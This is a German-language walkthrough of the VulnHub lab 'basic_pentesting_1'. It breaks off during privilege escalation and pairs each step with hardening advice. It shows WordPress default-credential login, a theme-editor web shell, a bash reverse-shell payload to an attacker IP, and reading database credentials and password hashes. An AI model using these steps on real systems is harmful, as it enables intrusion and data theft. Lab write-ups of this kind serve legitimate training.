basic_pentesting_1 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
ftp
gobuster
nikto
curl
nc
mysql
ls
cd
cat
python3 -m http.server
wget
tar
getcap
echo
su

Inhaltsverzeichnis

Reconnaissance

**Zielsetzung:** Identifizierung aktiver Hosts im lokalen Netzwerk und Sammlung grundlegender Informationen über das Zielsystem, um potenzielle Angriffsvektoren zu ermitteln. Ein Hinweis auf einen möglichen Benutzernamen (`marlinspike`) wurde außerhalb der Terminal-Ausgaben gefunden (vermutlich vom Login-Screen der VM).

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.125	08:00:27:14:06:50	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` scannt das lokale Netzwerk mithilfe von ARP-Anfragen, um aktive Geräte zu finden und deren IP- sowie MAC-Adressen aufzulisten.

**Bewertung:** Ein Host mit der IP `192.168.2.125` wurde identifiziert. Die MAC-Adresse `08:00:27:14:06:50` (OUI: PCS Systemtechnik GmbH) deutet stark auf eine Oracle VirtualBox VM hin. Dies ist unser Ziel.

**Empfehlung (Pentester):** Ziel-IP `192.168.2.125` notieren. Detaillierteren Port-Scan und Service-Enumeration durchführen.
**Empfehlung (Admin):** Netzwerk-Monitoring zur Erkennung von ARP-Scans einsetzen. Netzwerksegmentierung zur Begrenzung der Sichtbarkeit von Hosts implementieren.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
   192.168.2.125	   basic_pentesting
                    

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifer-Systems wird bearbeitet, um der Ziel-IP `192.168.2.125` den Hostnamen `basic_pentesting` zuzuordnen. Dies umgeht die Notwendigkeit einer DNS-Auflösung für diesen Namen.

**Bewertung:** Dies ist eine Standardvorgehensweise, um das Zielsystem über einen definierten Hostnamen ansprechen zu können, was insbesondere für Webserver-Tests (Virtual Hosting) wichtig ist.

**Empfehlung (Pentester):** Nützlicher Schritt zur Vereinfachung der weiteren Befehle.
**Empfehlung (Admin):** Lokale Konfiguration des Angreifers, keine direkte Auswirkung auf das Ziel.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.125 -p- | grep open
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
                    

**Analyse:** Ein schneller Nmap SYN-Scan (`-sS`) mit Standard-Skripten (`-sC`), OS-Erkennung (`-O`), hoher Geschwindigkeit (`-T5`) wird auf alle Ports (`-p-`) des Ziels `192.168.2.125` durchgeführt. Die Option `-A` wurde hier nicht verwendet, stattdessen `-O` für OS-Detection. Die Ausgabe wird mit `grep open` gefiltert.

**Bewertung:** Drei offene Ports wurden identifiziert: 21 (FTP - ProFTPD 1.3.3c), 22 (SSH - OpenSSH 7.2p2), und 80 (HTTP - Apache 2.4.18). Diese Dienste stellen die primären Angriffsvektoren dar. Die spezifischen Versionen sind wichtig für die Suche nach bekannten Schwachstellen.

**Empfehlung (Pentester):** Führe einen vollständigen Nmap-Scan (ohne `grep`) durch, um mehr Details zu erhalten. Untersuche die Dienste einzeln: FTP auf anonymen Zugriff/Schwachstellen, SSH auf schwache Passwörter, HTTP auf Webanwendungs-Schwachstellen.
**Empfehlung (Admin):** Überprüfe die Notwendigkeit der offenen Ports. Halte die Software (ProFTPD, OpenSSH, Apache) aktuell. Implementiere Firewalls und Intrusion Detection Systeme.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.125 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 18:00 CEST
Nmap scan report for vtcsec (192.168.2.125)
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d60190392d8f46fb038673b33c547e54 (RSA)
|   256 f1f3c0ddbaa485f7139ada3abb4d9304 (ECDSA)
|_  256 12e298d2a3e7364fbe6bce366b7e0d9e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:14:06:50 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms vtcsec (192.168.2.125)
                    

**Analyse:** Dies ist die vollständige Ausgabe des vorherigen Nmap-Scans. Sie bestätigt die offenen Ports 21, 22 und 80 mit den jeweiligen Versionen. Das Betriebssystem wird als Linux 3.x oder 4.x geschätzt. Die Webseite auf Port 80 hat keinen Titel. Es werden keine Hinweise auf anonymen FTP-Zugang durch die Nmap-Skripte gefunden.

**Bewertung:** Die detaillierte Ausgabe bestätigt die Ergebnisse des Schnellscans. ProFTPD 1.3.3c ist eine relativ alte Version und könnte anfällig sein. OpenSSH 7.2p2 und Apache 2.4.18 sind ebenfalls nicht die neuesten Versionen. Der fehlende Titel auf der Webseite ist unauffällig.

**Empfehlung (Pentester):** Untersuche ProFTPD 1.3.3c auf bekannte Schwachstellen (z.B. Backdoors, Command Execution). Teste den FTP-Login mit dem gefundenen Benutzernamen `marlinspike` und Standardpasswörtern. Untersuche Port 80 mit Web-Enumeration-Tools.
**Empfehlung (Admin):** Dringend alle Dienste (ProFTPD, OpenSSH, Apache) auf aktuelle, gepatchte Versionen aktualisieren.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.125
Connected to 192.168.2.125.
220 ProFTPD 1.3.3c Server (vtcsec) [192.168.2.125]
Name (192.168.2.125:cyber): marlinspike
331 Password required for marlinspike
Password: [Enter] 
530 Login incorrect.
ftp: Login failed
ftp>
                    

**Analyse:** Es wird versucht, sich via FTP mit dem Benutzernamen `marlinspike` (vom Login-Screen) anzumelden. Ein Passwort wird nicht explizit eingegeben oder ist leer.

**Bewertung:** Der Login schlägt fehl (`530 Login incorrect`). Dies bedeutet, dass `marlinspike` entweder kein gültiger FTP-Benutzer ist, das Passwort falsch ist oder anonyme Logins nicht erlaubt sind (was die Nmap-Skripte auch nicht angezeigt hatten).

**Empfehlung (Pentester):** Versuche Standardpasswörter für `marlinspike` oder führe einen Brute-Force-Angriff durch (wobei dies bei ProFTPD zu Sperrungen führen kann). Konzentriere dich auf den Webserver (Port 80) als nächstes.
**Empfehlung (Admin):** Stelle sicher, dass keine leicht zu erratenden Passwörter verwendet werden. Implementiere Brute-Force-Schutz für FTP.

Web Enumeration

**Zielsetzung:** Untersuchung des Webservers auf Port 80, um versteckte Verzeichnisse, Dateien und Webanwendungen zu identifizieren.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://basic_pentesting -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,... -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================

http://basic_pentesting/index.html           (Status: 200) [Size: 177]
http://basic_pentesting/secret               (Status: 301) [Size: 321] [--> http://basic_pentesting/secret/]
http://basic_pentesting/secret/index.php            (Status: 301) [Size: 0] [--> http://basic_pentesting/secret/]
http://basic_pentesting/secret/wp-content           (Status: 301) [Size: 332] [--> http://basic_pentesting/secret/wp-content/]
http://basic_pentesting/secret/wp-login.php         (Status: 200) [Size: 2338]
http://basic_pentesting/secret/license.txt          (Status: 200) [Size: 19935]
http://basic_pentesting/secret/wp-includes          (Status: 301) [Size: 333] [--> http://basic_pentesting/secret/wp-includes/]
http://basic_pentesting/secret/readme.html          (Status: 200) [Size: 7415]
http://basic_pentesting/secret/wp-trackback.php     (Status: 200) [Size: 135]
http://basic_pentesting/secret/wp-admin             (Status: 301) [Size: 330] [--> http://basic_pentesting/secret/wp-admin/]
http://basic_pentesting/secret/xmlrpc.php           (Status: 405) [Size: 42]
http://basic_pentesting/secret/wp-signup.php        (Status: 302) [Size: 0] [--> http://vtcsec/secret/wp-login.php?action=register]
Progress: 7937082 / 7940232 (99.96%)
===============================================================
2023/06/05 18:16:11 Finished
===============================================================
                    

**Analyse:** `gobuster` wird verwendet, um Verzeichnisse und Dateien auf `http://basic_pentesting` (dem Hostnamen für `192.168.2.125`) zu finden. Es wird eine Wortliste und eine Liste von Dateiendungen verwendet.

**Bewertung:** **Kritischer Fund!** Neben der `index.html` wird ein Verzeichnis `/secret/` entdeckt. Innerhalb dieses Verzeichnisses werden zahlreiche WordPress-spezifische Dateien und Verzeichnisse gefunden (`wp-login.php`, `wp-admin/`, `wp-content/`, `readme.html`, etc.). Dies deutet stark auf eine WordPress-Installation im `/secret/`-Verzeichnis hin.

**Empfehlung (Pentester):** Fokussiere die weitere Untersuchung auf `http://basic_pentesting/secret/`. Verwende `wpscan` für eine detaillierte WordPress-Enumeration (Benutzer, Plugins, Themes, Version). Versuche, auf `wp-login.php` oder `wp-admin/` zuzugreifen.
**Empfehlung (Admin):** Verzeichnisse mit sensiblen Anwendungen (wie einem CMS-Adminbereich) sollten nicht einfach unter leicht zu erratenden Namen wie `/secret/` liegen. Zugriffskontrollen (z.B. .htaccess, IP-Beschränkungen) sollten implementiert werden. Halte WordPress und seine Komponenten aktuell.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.125
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.125
+ Target Hostname:    192.168.2.125
+ Target Port:        80
+ Start Time:         2023-06-05 18:03:53 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: b1, size: 55e1c7758dcdb, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /secret/: Drupal Link header found with value: ; rel="https://api.w.org/". See: https://www.drupal.org/
+ /secret/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2023-06-05 18:04:04 (GMT2) (11 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

**Analyse:** `nikto` scannt den Webserver auf bekannte Schwachstellen und Konfigurationsfehler. `-h 192.168.2.125` gibt das Ziel an.

**Bewertung:** Nikto bestätigt die veraltete Apache-Version, fehlende Sicherheitsheader und das ETag-Inode-Leak. Wichtig ist, dass es ebenfalls das Verzeichnis `/secret/` als interessant markiert und den WordPress JSON API Link-Header (`/secret/index.php/wp-json/`) findet, was die WordPress-Installation in `/secret/` weiter bestätigt.

**Empfehlung (Pentester):** Bestätigt die Notwendigkeit, `/secret/` genauer zu untersuchen, insbesondere die WordPress-Installation.
**Empfehlung (Admin):** Empfehlungen aus dem vorherigen Nikto-Scan gelten weiterhin: Sicherheitsheader implementieren, Apache aktualisieren, Standarddateien entfernen/beschränken.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.125/secret/ -Iv
*   Trying 192.168.2.125:80...
* Connected to 192.168.2.125 (192.168.2.125) port 80 (#0)
> HEAD /secret/ HTTP/1.1
> Host: 192.168.2.125
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 05 Jun 2023 16:04:35 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Link: ; rel="https://api.w.org/"
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 192.168.2.125 left intact
                    

**Analyse:** `curl` wird verwendet, um eine HEAD-Anfrage (`-I`) mit detaillierter Ausgabe (`-v`) an das Verzeichnis `/secret/` zu senden.

**Bewertung:** Die Antwort (Status 200 OK) bestätigt die Existenz des Verzeichnisses. Der `Link`-Header `; rel="https://api.w.org/"` ist ein weiterer starker Indikator für eine WordPress-Installation und zeigt den Endpunkt der REST-API an. Der Hostname `vtcsec` wird hier vom Server verwendet.

**Empfehlung (Pentester):** Die WordPress-Installation ist bestätigt. Untersuche die Login-Seite (`wp-login.php`) und versuche Standard-Zugangsdaten.
**Empfehlung (Admin):** Stelle sicher, dass die WordPress REST API gesichert ist, falls sie nicht öffentlich benötigt wird.

**Manuelle Enumeration (Web):** Durch das Browsen der `/secret/`-Seite (oder Analyse des Quellcodes/Kommentare) wurde der erste Blog-Post "Hello world!" mit einem Kommentar gefunden. Standardmäßig wird dieser vom `admin`-Benutzer gepostet.

**Bewertung:** Dies legt nahe, dass der Standardbenutzer `admin` existiert. In Kombination mit der gefundenen Login-Seite (`/secret/wp-login.php`) ist ein Login-Versuch mit Standardpasswörtern für `admin` sehr vielversprechend. Der Bericht erwähnt `admin`/`admin` als funktionierende Zugangsdaten. Dies ist eine kritische Schwachstelle.

**Empfehlung (Pentester):** Logge dich sofort mit `admin`/`admin` in `/secret/wp-admin/` ein.
**Empfehlung (Admin):** **NIEMALS** Standard-Zugangsdaten verwenden! Ändere das Passwort des `admin`-Benutzers sofort nach der Installation. Verwende starke, einzigartige Passwörter.

Initial Access (WordPress RCE)

**Zielsetzung:** Ausnutzung des administrativen Zugriffs auf WordPress, um Code auf dem Server auszuführen und eine Reverse Shell zu erhalten.

**Manuelle Schritte (WordPress):** 1. Login in `/secret/wp-admin/` mit den Zugangsdaten `admin` / `admin`. 2. Navigation zum Theme-Editor: "Design" -> "Theme-Datei-Editor" (oder direkte URL `.../theme-editor.php?file=404.php&theme=twentyseventeen`). 3. Auswahl des aktiven Themes (`twentyseventeen`) und einer geeigneten PHP-Datei (`404.php`). 4. Einfügen des PHP-Codes `` in die `404.php`-Datei. Dieser Code nimmt einen Befehl über den URL-Parameter `ben` entgegen und führt ihn auf dem Server aus. 5. Speichern der Datei ("File edited successfully.").

**Bewertung:** Der administrative Zugriff auf WordPress in Kombination mit dem aktivierten Theme-Editor ermöglicht das direkte Modifizieren von PHP-Dateien. Das Einfügen des `system()`-Aufrufs erstellt eine einfache Web-Shell, die Remote Code Execution (RCE) erlaubt. Dies ist eine sehr häufige Methode, um von einem kompromittierten WordPress-Admin-Konto zu einer Shell auf dem Server zu gelangen.

**Empfehlung (Pentester):** Teste die Web-Shell mit einem einfachen Befehl (`ls`) und bereite dann den Empfang einer Reverse Shell vor.
**Empfehlung (Admin):** Deaktiviere den Theme- und Plugin-Editor in WordPress (z.B. durch `define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Setze Dateiberechtigungen so, dass der Webserver-Benutzer (`www-data`) keine Theme-/Plugin-Dateien schreiben kann. Überwache Dateiänderungen. Verwende starke Admin-Passwörter und 2FA.

**Testen der Web-Shell:** Durch Aufruf der URL `http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php?ben=ls` wird der Befehl `ls` ausgeführt und dessen Ausgabe im Browser angezeigt.

**Bewertung:** Die Ausgabe (`404.php README.txt ...`) bestätigt, dass die Web-Shell funktioniert und Befehle als der Webserver-Benutzer (`www-data`) ausgeführt werden.

**Empfehlung (Pentester):** Die Codeausführung ist bestätigt. Nächster Schritt: Reverse Shell.
**Empfehlung (Admin):** Sofortige Maßnahmen zur Bereinigung und Absicherung ergreifen (siehe vorherige Empfehlung).

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
                    

**Analyse:** Auf dem Angreifer-System wird ein Netcat-Listener (`nc`) gestartet, der auf eingehende Verbindungen auf TCP-Port `9001` wartet (`-l` Listen, `-v` Verbose, `-n` Numeric, `-p` Port).

**Bewertung:** Der Listener ist bereit, die Reverse Shell vom Zielsystem zu empfangen.

**Empfehlung (Pentester):** Löse nun die Reverse Shell über die Web-Shell aus.
**Empfehlung (Admin):** Ausgehende Firewall-Regeln (Egress Filtering) können verhindern, dass Server Verbindungen zu beliebigen Ports im Internet aufbauen.

**Auslösen der Reverse Shell:** Die Web-Shell wird mit einem speziellen Payload aufgerufen. Der Payload (URL-kodiert im Log) ist: `/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.113/9001 0>&1'`. Dieser Befehl startet eine interaktive Bash-Shell (`bash -i`) und leitet deren Standard-Ein-, Ausgabe- und Fehlerausgabe über eine TCP-Verbindung zur IP des Angreifers (`192.168.2.113`) auf Port `9001` um.
URL: `http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php?ben=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.113%2F9001%200%3E%261%27`

**Bewertung:** Dies ist ein Standard-Payload für eine Bash-Reverse-Shell über TCP. Der Aufruf über die Web-Shell führt diesen Befehl auf dem Zielserver als `www-data` aus.

**Empfehlung (Pentester):** Überprüfe den Netcat-Listener auf die eingehende Verbindung.
**Empfehlung (Admin):** Siehe Empfehlungen zur Web-Shell und Egress Filtering.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.125] 49782
bash: cannot set terminal process group (1326): Inappropriate ioctl for device
bash: no job control in this shell
www-data@vtcsec:/var/www/html/secret/wp-content/themes/twentyseventeen$
                    

**Analyse:** Der Netcat-Listener zeigt eine eingehende Verbindung von der Ziel-IP `192.168.2.125`. Es wird eine Shell-Eingabeaufforderung (`www-data@vtcsec:...$`) empfangen. Die Fehlermeldungen (`cannot set terminal...`, `no job control...`) sind typisch für einfache Reverse Shells ohne vollwertiges TTY.

**Bewertung:** Initial Access erfolgreich! Eine interaktive Shell als Benutzer `www-data` auf dem Zielsystem wurde etabliert. Dies ist ein wichtiger Meilenstein.

**Empfehlung (Pentester):** Stabilisiere die Shell (z.B. mit Python PTY oder `script /dev/null`), beginne mit der Enumeration des Systems als `www-data`, suche nach Konfigurationsdateien, Passwörtern und Wegen zur Privilegieneskalation.
**Empfehlung (Admin):** Die Kompromittierung ist erfolgt. Isoliere das System, analysiere den Vorfall, bereinige die Kompromittierung (entferne Web-Shell, ändere Passwörter), schließe die Lücken (WP-Editor deaktivieren, Berechtigungen härten, Updates) und stelle aus einem sauberen Backup wieder her.

Post-Exploitation & Enumeration

**Zielsetzung:** Nach Erlangung der Shell als `www-data` werden Informationen gesammelt, um das System besser zu verstehen und Wege zur Privilegieneskalation zu finden.

www-data@vtcsec:/var/www/html/secret/wp-content$ cd ..
www-data@vtcsec:/var/www/html/secret$ ls
index.php	 wp-blog-header.php    wp-includes	  wp-settings.php
license.txt	 wp-comments-post.php  wp-links-opml.php  wp-signup.php
readme.html	 wp-config.php	       wp-load.php	  wp-trackback.php
wp-activate.php  wp-content	       wp-login.php	  xmlrpc.php
wp-admin	 wp-cron.php	       wp-mail.php
                    

**Analyse:** Wechsel in das WordPress-Stammverzeichnis (`/var/www/html/secret`) und Auflistung des Inhalts.

**Bewertung:** Zeigt die Standard-WordPress-Dateistruktur. Die Datei `wp-config.php` ist besonders interessant.

**Empfehlung (Pentester):** Lese den Inhalt von `wp-config.php`, da diese oft Datenbank-Zugangsdaten enthält.
**Empfehlung (Admin):** Beschränke die Leserechte für `wp-config.php` so weit wie möglich (idealerweise nur für den Webserver-Benutzer).

www-data@vtcsec:/var/www/html/secret$ cat wp-config.php
define('DB_NAME', 'wp_myblog');
define('DB_USER', 'root');
define('DB_PASSWORD', 'arootmysqlpass');
define('DB_HOST', 'localhost');
                    

**Analyse:** Der Inhalt der `wp-config.php` wird ausgelesen.

**Bewertung:** **Kritischer Fund!** Die Datenbank-Zugangsdaten werden im Klartext angezeigt: Benutzer `root` mit Passwort `arootmysqlpass` für die lokale MySQL-Datenbank `wp_myblog`. Die Verwendung des `root`-Benutzers für die WordPress-Datenbank ist eine sehr schlechte Praxis.

**Empfehlung (Pentester):** Versuche, dich mit diesen Zugangsdaten bei MySQL anzumelden. Prüfe, ob das Passwort `arootmysqlpass` auch für den System-`root`-Benutzer oder andere Dienste (SSH) wiederverwendet wird.
**Empfehlung (Admin):** **NIEMALS** den `root`-Datenbankbenutzer für Anwendungen verwenden. Erstelle dedizierte Datenbankbenutzer mit minimal notwendigen Rechten. Verwende starke, einzigartige Passwörter für Datenbankbenutzer. Speichere Datenbank-Credentials nicht im Klartext, wenn möglich (oder schränke Dateizugriff stark ein).

www-data@vtcsec:/var/www/html/secret$ mysql -u root -p
Enter password: arootmysqlpass
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 32
Server version: 5.7.33-0ubuntu0.16.04.1 (Ubuntu)
...
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
                    

**Analyse:** Es wird versucht, sich mit dem MySQL-Client als Benutzer `root` und dem Passwort aus der `wp-config.php` (`arootmysqlpass`) anzumelden.

**Bewertung:** Der Login ist erfolgreich. Der Angreifer hat nun vollen Zugriff auf die MySQL-Datenbank als `root`-Benutzer.

**Empfehlung (Pentester):** Untersuche die Datenbanken (`show databases;`), insbesondere die `mysql`-Datenbank (Benutzertabelle, Passwort-Hashes) und die WordPress-Datenbank (`wp_myblog`) auf weitere Informationen oder Hashes.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Absicherung von Datenbank-Zugangsdaten und -Benutzern.

mysql> use wp_myblog;
Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wp_myblog   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.00 sec)
mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+----------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email     | user_url | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+----------------+----------+---------------------+---------------------+-------------+--------------+
|  1 | admin      | $P$BAJWheLsI9IEVX0o4/5OBbGo2n4YuD1 | admin         | admin@mail.com |          | 2017-11-16 16:59:58 |                     |           0 | admin        |
+----+------------+------------------------------------+---------------+----------------+----------+---------------------+---------------------+-------------+--------------+
1 row in set (0.00 sec)
mysql> exit 
                    

**Analyse:** Innerhalb der MySQL-Shell wird zur WordPress-Datenbank `wp_myblog` gewechselt, deren Tabellen aufgelistet und der Inhalt der `wp_users`-Tabelle angezeigt.

**Bewertung:** Bestätigt die Existenz des `admin`-Benutzers und zeigt dessen Passwort-Hash (`$P$BAJWheLsI9IEVX0o4/5OBbGo2n4YuD1`). Dieser Hash-Typ (beginnend mit `$P$`) ist spezifisch für ältere WordPress-Versionen oder portable phpass-Hashes. Es ist der Hash für das Passwort "admin".

**Empfehlung (Pentester):** Der Hash könnte offline mit Tools wie John the Ripper oder Hashcat geknackt werden, aber da das Passwort bereits bekannt ist (`admin`), ist dies hier nicht notwendig. Der Datenbankzugriff bietet aktuell keinen direkten weiteren Vorteil gegenüber der bereits erlangten Shell.
**Empfehlung (Admin):** WordPress sollte immer auf dem neuesten Stand gehalten werden, um u.a. von sichereren Passwort-Hashing-Algorithmen zu profitieren.

www-data@vtcsec:/var/www/html/secret$ cd /home
www-data@vtcsec:/home$ ls -la
total 12
drwxr-xr-x  3 root        root        4096 Nov 14  2017 .
drwxr-xr-x 24 root        root        4096 Nov 14  2017 ..
drwxr-xr-x 22 marlinspike marlinspike 4096 Nov 17  2017 marlinspike
                    
www-data@vtcsec:/home$ cd marlinspike
www-data@vtcsec:/home/marlinspike$ ls -la
total 27336
drwxr-xr-x 22 marlinspike marlinspike    4096 Nov 17  2017 .
drwxr-xr-x  3 root        root           4096 Nov 14  2017 ..
... (viele Dateien) ...
-rw-rw-r--  1 marlinspike marlinspike 4929934 Nov 17  2017 046e85f6fe460de94fd46198feef4d07-backdoored_proftpd-1.3.3c.tar.gz.bak
...
drwxr-xr-x  2 marlinspike marlinspike    4096 Nov 17  2017 .ssh
...
-rw-rw-r--  1 marlinspike marlinspike 4166609 Nov 16  2017 proftpd-1.3.3c.tar.bz2.bak
...
                    

**Analyse:** Der Benutzer `www-data` wechselt in das `/home`-Verzeichnis und dann in das Home-Verzeichnis des Benutzers `marlinspike`. Der Inhalt von `/home/marlinspike` wird aufgelistet.

**Bewertung:** `www-data` hat Lesezugriff auf das Home-Verzeichnis von `marlinspike`. Viele interessante Dateien sind sichtbar: ein `.ssh`-Verzeichnis (könnte private Schlüssel enthalten), diverse Archive (`.tar.gz.bak`, `.tar.bz2.bak`), insbesondere eines, das "backdoored_proftpd" im Namen trägt. Es gibt auch Quellcode-Verzeichnisse für ProFTPD.

**Empfehlung (Pentester):** Untersuche das `.ssh`-Verzeichnis auf private Schlüssel (`ls -la .ssh`, `cat .ssh/id_rsa`). Lade die verdächtigen Archive, insbesondere `046e...-backdoored_proftpd-1.3.3c.tar.gz.bak`, zur lokalen Analyse herunter.
**Empfehlung (Admin):** Home-Verzeichnisse sollten für andere Benutzer (insbesondere Dienstkonten wie `www-data`) nicht lesbar sein (Berechtigungen `700` oder `750`). Keine sensiblen Daten wie Backups oder Quellcode mit potenziellen Backdoors in Home-Verzeichnissen speichern.

www-data@vtcsec:/home/marlinspike$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.2.113 - - [05/Jun/2023 12:53:33] "GET /046e85f6fe460de94fd46198feef4d07-backdoored_proftpd-1.3.3c.tar.gz.bak HTTP/1.1" 200 -
                    

**Analyse:** Ein Python HTTP-Server wird im Home-Verzeichnis von `marlinspike` gestartet, um Dateien herunterzuladen.

**Bewertung:** Dient dem Transfer der verdächtigen ProFTPD-Backup-Datei zum Angreifer.

**Empfehlung (Pentester):** Lade die Datei herunter.
**Empfehlung (Admin):** Ausgehende Verbindungen überwachen.

┌──(root㉿cyber)-[~] └─# wget http://192.168.2.125:8000/046e85f6fe460de94fd46198feef4d07-backdoored_proftpd-1.3.3c.tar.gz.bak
--2023-06-05 18:53:30--  http://192.168.2.125:8000/046e85f6fe460de94fd46198feef4d07-backdoored_proftpd-1.3.3c.tar.gz.bak
Verbindungsaufbau zu 192.168.2.125:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 4929934 (4,7M) [application/x-trash]
Wird in »046e85f6fe460de94fd46198feef4d07-backdoored_proftpd-1.3.3c.tar.gz.bak« gespeichert.

046e85f6fe460de94fd4619 100%[=============================>]   4,70M  --.-KB/s    in 0,02s

2023-06-05 18:53:30 (260 MB/s) - »...« gespeichert [4929934/4929934]
                    

**Analyse:** Die verdächtige ProFTPD-Backup-Datei wird vom Angreifer-System heruntergeladen.

**Bewertung:** Die Datei ist nun zur lokalen Analyse verfügbar. Der Dateiname deutet stark auf eine Backdoor hin.

**Empfehlung (Pentester):** Entpacke und analysiere die Datei lokal auf Backdoors oder Schwachstellen.
**Empfehlung (Admin):** Keine direkte Aktion.

┌──(root㉿cyber)-[~] └─# tar -xvf 046e85f6fe460de94fd46198feef4d07-backdoored_proftpd-1.3.3c.tar.gz.bak
backdoored_proftpd-1.3.3c/
backdoored_proftpd-1.3.3c/README.capabilities
backdoored_proftpd-1.3.3c/INSTALL
backdoored_proftpd-1.3.3c/configure.in
backdoored_proftpd-1.3.3c/NEWS
backdoored_proftpd-1.3.3c/proftpd.spec
backdoored_proftpd-1.3.3c/README
backdoored_proftpd-1.3.3c/README.PAM
backdoored_proftpd-1.3.3c/install-sh
backdoored_proftpd-1.3.3c/Make.rules.in
backdoored_proftpd-1.3.3c/acconfig.h
...
                    

**Analyse:** Das heruntergeladene Archiv wird lokal auf dem Angreifer-System entpackt.

**Bewertung:** Der Quellcode des (vermutlich modifizierten) ProFTPD 1.3.3c liegt nun zur Analyse bereit.

**Empfehlung (Pentester):** Untersuche den Quellcode auf bekannte oder unbekannte Backdoors/Schwachstellen, die zur Privilegieneskalation genutzt werden könnten (z.B. Metasploit Modul `proftpd_133c_backdoor`).
**Empfehlung (Admin):** Keine direkte Aktion.

Privilege Escalation

**Zielsetzung:** Ausnutzung einer Schwachstelle oder Fehlkonfiguration, um von den Rechten des `www-data`-Benutzers zu `root`-Rechten zu gelangen.

www-data@vtcsec:/home/marlinspike$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/arping = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr = cap_net_raw+ep
                    

**Analyse:** Der Befehl `getcap -r / 2>/dev/null` sucht rekursiv im gesamten Dateisystem nach Dateien mit gesetzten Linux Capabilities. Capabilities erlauben Prozessen bestimmte privilegierte Aktionen, ohne volle Root-Rechte zu benötigen. Fehlkonfigurierte Capabilities können zur Eskalation missbraucht werden.

